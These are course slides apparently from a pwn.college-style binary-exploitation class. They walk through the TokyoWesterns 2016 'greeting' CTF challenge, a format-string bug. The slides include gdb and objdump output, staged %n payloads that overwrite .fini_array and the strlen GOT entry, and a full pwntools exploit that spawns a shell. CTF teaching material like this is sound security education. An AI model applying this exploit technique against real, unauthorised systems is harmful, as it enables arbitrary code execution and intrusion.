

# PWN College

---

Session 19

Atousa Ahsani

References: <https://pwn.college/>, <https://guyinatuxedo.github.io/>

# Format Strings

---

Tokyowesterns 2016 greeting

# TokyoWesterns'16: Greeting

- It is a **32-bit dynamically** linked binary, with a **stack canary** and non executable stack (but no RELRO or PIE)

```
→ tw16_greeting file greeting
greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=beb8
5611dbf6f1f3a943cecd99726e5e35065a63, not stripped
→ tw16_greeting checksec greeting
Arch:      i386-32-little
RELRO:     No RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

- We can see that we are prompted for input, which it **prints back** out to us.

```
→ tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... hellloo
Nice to meet you, hellloo :)
```

# TokyoWesterns'16: Greeting

- So we can see that in the **main** function, it runs the *getline* function which scans in **input** and returns the **amount** of **bytes** read. It scans in data into the *local\_54* char buffer.
- Proceeding that if *getline* didn't scan in 0 bytes, it will write the string "Nice to meet you, " + ourInput + " :)\n" to *local\_94*, then prints it using *printf*.
- Thing is since in the *printf* call it doesn't specify a **format** to print the input, this is a **format string** bug and we can specify how our input is printed. Using the *%n* flag with printf, we can actually **write** to **memory**.

```
void main(void)
{
    int iVar1;
    int in_GS_OFFSET;
    char local_94 [64];
    undefined local_54 [64];
    int local_14;

    local_14 = *(int *)(in_GS_OFFSET + 0x14);
    printf("Please tell me your name... ");
    iVar1 = getline(local_54,0x40);
    if (iVar1 == 0) {
        puts("Don't ignore me ;( ");
    }
    else {
        sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
        printf(local_94);
    }
    if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

# TokyoWesterns'16: Greeting

- Since **RELRO** isn't enabled, we can write to the **GOT table**.
  - the GOT Table is a table of **addresses** in the binary that hold **libc address functions**.
- And since **PIE** isn't enabled we know the **addresses** of the **GOT** table.
- It just scans in *param\_2* amount of data (in our case *0x40* or *64* so **no overflow**) into the space pointed to by *param\_1*.
- Proceeding that, it will replace the **newline** character with a **null byte**. It will then return the **output** of *strlen* on our input.

```
void getnline(char *param_1,int param_2)
{
    char *pcVar1;

    fgets(param_1,param_2,stdin);
    pcVar1 = strchr(param_1,10);
    if (pcVar1 != (char *)0x0) {
        *pcVar1 = 0;
    }
    strlen(param_1);
    return;
}
```

# TokyoWesterns'16: Greeting

- Now the next thing we need will be a **function** to **overwrite** a **got entry** with. Looking through the list of **imports** in **ghidra** (imported functions are included in the compiled binary code, and since **pie** isn't enabled we know the **addresses** of those functions) we can see that **system** is imported, and is at the address **0x8048490** in the **plt** table.
- We can also find the **address** using **gdb** or **objdump**.

```
→ tw16_greeting gdb-gef greeting
gef> info functions
All defined functions:

Non-debugging symbols:
0x08048490 system@plt
```

```
→ tw16_greeting objdump -D greeting | grep system
08048490 <system@plt>:
8048779: e8 12 fd ff ff call 8048490 <system@plt>
```

# TokyoWesterns'16: Greeting

- So we will overwrite a *got* entry of a function with *system* to call it. The question is now **which function** to overwrite?
- Now we run into a different problem. The only function called after the *printf* call which gives us a **format string** write, is *\_\_stack\_chk\_fail()* which will only get called if we execute a **buffer overflow** which we really can't do right now.
- We will overcome this by writing to the *.fini\_array*, which contains an **array** of **functions** which are executed sometime **after main returns**.
- We will just write to it the **address** which starts the **setup** for the *getnline* function, to essentially wrap back around.

# TokyoWesterns'16: Greeting

- **Initialization and Termination Sections**

- **Dynamic objects** can supply code that provides for **runtime** initialization and **termination** processing.
- The **initialization** code of a dynamic object is executed once each time the dynamic object is **loaded** in a process. The **termination** code of a dynamic object is executed once each time the dynamic object is **unloaded** from a process or at process termination.
- This code can be encapsulated in one of two **section** types, either an **array of function pointers** or a **single code block**.
- *.fini\_array* contains an array of **functions** which are executed sometime **after main** returns.



# TokyoWesterns'16: Greeting

- We can find the *.fini\_array* using **gdb** while running the program.

```
gef> info files
0x08048800 - 0x0804883c is .eh_frame_hdr
0x0804883c - 0x0804892c is .eh_frame
0x0804992c - 0x08049934 is .init_array
0x08049934 - 0x08049938 is .fini_array
0x08049938 - 0x0804993c is .jcr
```

- Through all of that we can see that the *.fini\_array* is at **0x8049934**.
- For the address we will loop back to, I choose **0x8048614**. This is the start of the setup for the *getline* function call, and through trial and error we can see that it doesn't crash when we loop back here.

0804860f	e8 3c fe ff ff	CALL	printf
08048614	c7 44 24 04 40 00 00 00	MOV	dword ptr [ESP + local_ac], 0x40
0804861c	8d 44 24 5c	LEA	EAX=>local_54, [ESP + 0x5c]
08048620	89 04 24	MOV	dword ptr [ESP]=>local_b0, EAX
08048623	e8 51 00 00 00	CALL	getline

# TokyoWesterns'16: Greeting

- Now brings up the question of **which function's *got* address** will we overwrite.
- Since the function ***system*** takes a **single argument** (a char **pointer**), ideally it would be a function that takes a single argument that is a char pointer to **our input**.
- We choose ***strlen***, since in ***getnline*** it is called with a **char pointer** to our **input**.
- In addition to that, it isn't called somewhere else that would cause a **crash** with what we are doing.
- In *Ghidra* looking at the ***.got.plt*** memory region, we can see that the got entry is at ***0x8049a54***.

# TokyoWesterns'16: Greeting

- We can find *got* entry of *strlen* using *objdump*.

```
→ tw16_greeting objdump -R greeting | grep strlen  
08049a54 R_386_JUMP_SLOT  strlen@GLIBC_2.0
```

- We can also find the *got* entry of *system* using *objdump*.

```
→ tw16_greeting objdump -R greeting | grep system  
08049a48 R_386_JUMP_SLOT  system@GLIBC_2.0
```

# TokyoWesterns'16: Greeting

- So now the last part I need to cover is actually exploiting the **format string** bug.
- The first thing we need to do is find our **input** in reference to the *printf* call, which we can do using the `%x` flag.

```
→ tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... 0000111122223333.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x
Nice to meet you, 0000111122223333.80487d0.ffff1b5c.0.0.0.0.6563694e.206f7420.74
65656d.756f7920.3030202c.31313030.32323131.33333232.252e3333.% :)
```

- So we can see our input popping up `3030202c.31313030.32323131.33333232` (0=0x30, 1=0x31, 2=0x32, 3=0x33). Through a bit of **shifting** around values, we can find that the format string `xx0000111122223333` gives us what we need.

```
→ tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... xx0000111122223333.%12$x.%13$x.%14$x.%15$x
Nice to meet you, xx0000111122223333.30303030.31313131.32323232.33333333 :)
```

# TokyoWesterns'16: Greeting

- Now when *printf* writes a value, it will write the **amount** of **bytes** it has printed.
- So if we need to write the value *0x804*, we need to print that many bytes. Since we are writing values like *0x8048614* we split it up, that way we don't need to wait several minutes for the *printf* call to finish.
- We split up each write into **two separate** writes.
- For the split writes, we will first write to the **lower two bytes** of each address. Since the **top two bytes** for each of the values we are writing is the same (*0x804*) we choose to write those last.

# TokyoWesterns'16: Greeting

- **Overall Approach**

- 1) Write address of *getline* (0x8048614) function to *.fini\_array* (0x8049934).
  - ✓ **Two** steps of writing is required here. At each step we will write **2 bytes** of the address.
- 2) Write address of *system* (0x8048490) to got entry of *strlen* (0x8049a54).
  - ✓ **Two** steps of writing is required here. At each step we will write **2 bytes** of the address.
- 3) After writing the addresses, we are ready to pass the *'/bin/sh'* string as input.

# TokyoWesterns'16: Greeting

- What is the content of *.fini\_array* at first?
  - `__do_global_dtors_aux()`

```
undefined      undefined __do_global_dtors_aux()
               AL:1      <RETURN>
               __do_global_dtors_aux
080485a0 80 3d a4    CMP      byte ptr [completed.6591],0x0
          9a 04 08
          00
```

```
→ tw16_greeting gdb-gef greeting
gef> r
Hello, I'm nao!
Please tell me your name... ^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef> x/x 0x8049934
0x8049934: 0x080485a0
```

- About `__do_global_dtors_aux()`
  - The addresses of **constructors** and **destructors** of static objects are each stored in a different section in ELF executable. For the **constructors** there is a section called *.CTORS* and for the **destructors** there is the *.DTORS* section.
  - The compiler creates two auxiliary functions `__do_global_ctors_aux` and `__do_global_dtors_aux` for calling the **constructors** and **destructors** of these static objects, respectively.
  - `__do_global_ctors_aux` function simply performs a walk on the *.CTORS* section, while the `__do_global_dtors_aux` does the same job only for the *.DTORS* section which contains the program specified destructors functions.

# TokyoWesterns'16: Greeting

- Test Payload 1

```
finiArray = 0x08049934
strlenGot = 0x08049a54

payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiArray
payload += "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%14$n"

# Write 0x804 to the higher two bytes of finiArray and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
→ tw16_greeting gdb-gef greeting
gef> b *0x08048654
Breakpoint 1 at 0x8048654
gef> r < payload
Starting program: tw16_greeting/greeting < payload
[Detaching after vfork from child process 3925]
Hello, I'm nao!
Please tell me your name... Nice to meet you, xx46TV :)

Breakpoint 1, 0x08048654 in main ()
gef> x/x 0x8049934 --> fini_array address
0x8049934: 0x00240024
gef> x/x 0x8049a54 --> strlen address
0x8049a54 <strlen@got.plt>: 0x00240024
```



# TokyoWesterns'16: Greeting

- The **first** write (we can say the **first %n**) is for the **lower two** bytes of the *.fini\_array* address **0x8049934**. We need it to be the value **0x8614**, and its value right now is **0x24**.
- So we just need to print an additional **0x8614 – 0x24 = 34288** bytes to get it to that value.
- Also the bytes printed before will affect future writes, so we go through and do this for each individual write (except for the **last two**, since they were **the same write** we only need to have **one** additional bytes printing for it).

# TokyoWesterns'16: Greeting

- Test Payload 2

```
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiVar
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%14$n"

# Write 0x804 to the higher two bytes of finiVar and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
gef> x/x 0x8049934
0x8049934: 0x86148614
gef> x/x 0x8049a54
0x8049a54 <strlen@got.plt>: 0x86148614
```

- Now we need to write *0x8490* to the **lower 2** bytes of **strlen** address.
- $0x18490 - 0x8614 = 65148$

# TokyoWesterns'16: Greeting

- Test Payload 3

```
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiVar
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%65148x" + "%14$n"

# Write 0x804 to the higher two bytes of finiVar and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
gef> x/x 0x8049934
0x8049934:      0x84908614
gef> x/x 0x8049a54
0x8049a54 <strlen@got.plt>: 0x84908490
```

- Now we need to write *0x0804* to the higher two bytes of both addresses.
- $0x10804 - 0x8490 = 33652$

# TokyoWesterns'16: Greeting

- Test Payload 4

```
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiVar
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%65148x" + "%14$n"

# Write 0x804 to the higher two bytes of finiVar and strlenGot
payload += "%33652x" + "%13$n"
payload += "%15$n"
```

```
gef> x/x 0x8049934
0x8049934: 0x08048614
gef> x/x 0x8049a54
0x8049a54 <strlen@got.plt>: 0x08048490
```

- We found the payload needed to write both values to both addresses. Now we can write the final exploit.

# TokyoWesterns'16: Greeting

- Final Exploit

```
from pwn import *

target = process('greeting')

finiArray = 0x08049934
strlenGot = 0x08049a54

payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# 0x18490 - 0x8614 = 65148
payload += "%65148x" + "%14$n"

# 0x10804 - 0x8490 = 33652
payload += "%33652x" + "%13$n"
payload += "%15$n"
```

```
# Print the length of our fmt string
# (make sure we meet the size requirement)
print "len: " + str(len(payload))

# Send the format string
target.sendline(payload)

# Send '/bin/sh' to trigger the system('/bin/sh') call
target.sendline('/bin/sh')

# Drop to an interactive shell
target.interactive()
```

- With this code we are able to get the **shell access** from remote server and print the *flag.txt* file.